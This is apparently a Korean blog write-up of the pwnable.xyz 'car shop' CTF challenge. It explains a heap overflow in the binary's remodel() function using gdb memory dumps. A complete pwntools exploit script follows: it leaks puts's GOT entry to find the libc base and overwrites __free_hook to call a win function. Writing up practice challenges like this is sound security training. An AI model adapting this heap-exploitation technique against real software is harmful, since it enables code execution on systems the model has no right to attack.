Analytic

`Full RELRO` 이기 때문에 GOT overwrite를 할 수 없다.

 

 

`buy()` 함수를 보면 사용자가 선택한 자동차가 메모리 공간에 저장된다.

buy() 함수 소스코드

이때의 메모리 구조를 보면 아래와 같다.

`0x603260` ~ `0x6032af`: 사용자가 `buy()` 함수를 호출하면 `car`라는 구조체의 chunk가 만들어짐

  • `0x603260`: 자동차 이름을 저장한 주소
  • `0x603268`: 자동차 이름의 크기
  • `0x603270`: 다음 청크(`car`)의 주소
  • `0x603278`: 이전 청크(`car`)의 주소
  • `0x603290`: 자동차의 이름
gdb-peda$ x/10gx 0x603260                                                                                                                                                                  
0x603260:       0x0000000000603290      0x0000000000000003
0x603270:       0x0000000000000000      0x0000000000000000
0x603280:       0x0000000000000000      0x0000000000000021
0x603290:       0x0000000000574d42      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000031

 

 

`buy()` 함수를 한번 더 호출하면 각 청크는 `double linked list` 형태를 띄게 된다.

아래 메모리를 보면 `0x603270`은 `0x6032b0`을 저장하고 있고, `0x6032c8`은 `0x603260`을 저장하고 있다.

gdb-peda$ x/20gx 0x603260
0x603260:       0x0000000000603290      0x0000000000000003
0x603270:       0x00000000006032b0      0x0000000000000000
0x603280:       0x0000000000000000      0x0000000000000021
0x603290:       0x0000000000574d42      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000031

0x6032b0:       0x00000000006032e0      0x0000000000000005
0x6032c0:       0x0000000000000000      0x0000000000603260
0x6032d0:       0x0000000000000000      0x0000000000000021
0x6032e0:       0x000000737578654c      0x0000000000000000
0x6032f0:       0x0000000000000000      0x0000000000000031

 

 

다른 함수들은 딱히 특별한 건 없다.
`remodel()` 함수를 보면 사용자가 구매한 자동차의 이름을 변경할 수 있는데, snprintf() 함수로 이름을 변경하고 이때의 return 값을 `car` 구조체의 `car+8`에 저장한다. 

remodel() 함수의 소스코드

여기서 문제가 발생하는데, 기존의 자동차 이름의 길이를 확인하지 않고 사용자가 적은 값을 그대로 변경한다.
바로 `heap overflow`가 발생한다. 

 

위에서 `buy()` 함수를 2번 호출 했을때의 메모리 구조인데, 만약 remodel()함수를 호출하여 "BMW"를 overflow 시켜 `0x6032b0` 주소의 값을 변조하면 원하는 곳에 overwrite가 가능하다.

gdb-peda$ x/20gx 0x603260
0x603260:       0x0000000000603290      0x0000000000000003
0x603270:       0x00000000006032b0      0x0000000000000000
0x603280:       0x0000000000000000      0x0000000000000021
0x603290:       0x0000000000574d42      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000031

0x6032b0:       0x00000000006032e0      0x0000000000000005
0x6032c0:       0x0000000000000000      0x0000000000603260
0x6032d0:       0x0000000000000000      0x0000000000000021
0x6032e0:       0x000000737578654c      0x0000000000000000
0x6032f0:       0x0000000000000000      0x0000000000000031

 

문제는 `Full RELRO` 가 적용되어 있어 GOT는 Overwrite 할 수 없다.

이를 우회 할 수 있는 방법은 `__free_hook` 을 overwrite 하는 것이다.

 

자세히는 찾아보지 않았지만 `free()` 함수를 호출할때 `__free_hook` 도 호출하게 되는데, 이 주소를 overwrite 하는 것이다.

 

 

우선 `__free_hook`의 주소를 알기 위해 `libc_base` 주소를 알아야 한다.

  • `buy()` 함수를 2번 호출해 `car` 구조체를 2개 만들고
  • `remodel()` 함수를 호출하고, Overwrite 하기 위해 BMW 를 A*0x40 으로 바꾼다.
  • 자동차 이름의 크기는 0x40으로 바뀌었으므로 다시 `remodel()` 함수를 호출해서 `"A"*0x20 + p64(e.got["puts"])` 로 overwrite 한다.
  • `List()`로 `puts()` 함수의 GOT를 알아내고 `libc_base` 와 `__free_hook`을 알아낸다.
from pwn import *

p = remote("svc.pwnable.xyz" ,"30037")
e = ELF("./challenge", checksec=False)
l = ELF("./alpine-libc-2.23.so", checksec=False)

def buy(num):
    p.sendlineafter("> ", "1")
    p.sendlineafter("> ", str(num))

def remodel(name, payload):
    p.sendlineafter("> ", "3")
    p.sendlineafter("remodel: ", name)
    p.sendlineafter("model: ", payload)

def List():
    p.sendlineafter("> ", "4")

def get_libc_base():
    p.recvuntil("\x0a")
    p.recvuntil("\x0a")
    puts_got = u64(p.recv(12)[6:].ljust(8, "\x00"))
    print("puts_got: {}".format(hex(puts_got)))
    
    libc_base = puts_got - l.symbols["puts"]
    return libc_base
    

buy(0)
buy(1)
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(e.got["puts"]))

List()
libc_base = get_libc_base()
__free_hook = libc_base + l.symbols["__free_hook"]

p.interactive()

 

 

`libc_base`와 `__free_hook` 주소를 알아냈으므로, `_free_hook`을 overwrite 하기 위해 아래 코드를 추가적으로 작성해준다.

remodel("A"*0x20 + p64(e.got["puts"]), "BMW")
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(__free_hook))

remodel(p64(0), p64(e.symbols["win"]))

 

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz" ,"30037")
e = ELF("./challenge", checksec=False)
l = ELF("./alpine-libc-2.23.so", checksec=False)

def buy(num):
    p.sendlineafter("> ", "1")
    p.sendlineafter("> ", str(num))

def remodel(name, payload):
    p.sendlineafter("> ", "3")
    p.sendlineafter("remodel: ", name)
    p.sendlineafter("model: ", payload)

def List():
    p.sendlineafter("> ", "4")

def get_libc_base():
    p.recvuntil("\x0a")
    p.recvuntil("\x0a")
    puts_got = u64(p.recv(12)[6:].ljust(8, "\x00"))
    print("puts_got: {}".format(hex(puts_got)))
    
    libc_base = puts_got - l.symbols["puts"]
    return libc_base
    

buy(0)
buy(1)
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(e.got["puts"]))

List()
libc_base = get_libc_base()
__free_hook = libc_base + l.symbols["__free_hook"]

print("libc_base: {}".format(hex(libc_base)))
print("__free_hook: {}".format(hex(__free_hook)))

remodel("A"*0x20 + p64(e.got["puts"]), "BMW")
remodel("BMW", "A"*0x40)
remodel("AA", "A"*0x20 + p64(__free_hook))

remodel(p64(0), p64(e.symbols["win"]))

p.interactive()

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] door write up  (0) 2020.08.10
[pwnable.xyz] child write up  (0) 2020.08.09
[pwnable.xyz] car shop write up  (0) 2020.08.09
[pwnable.xyz] words write up  (0) 2020.08.08
[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] nin write up  (0) 2020.08.07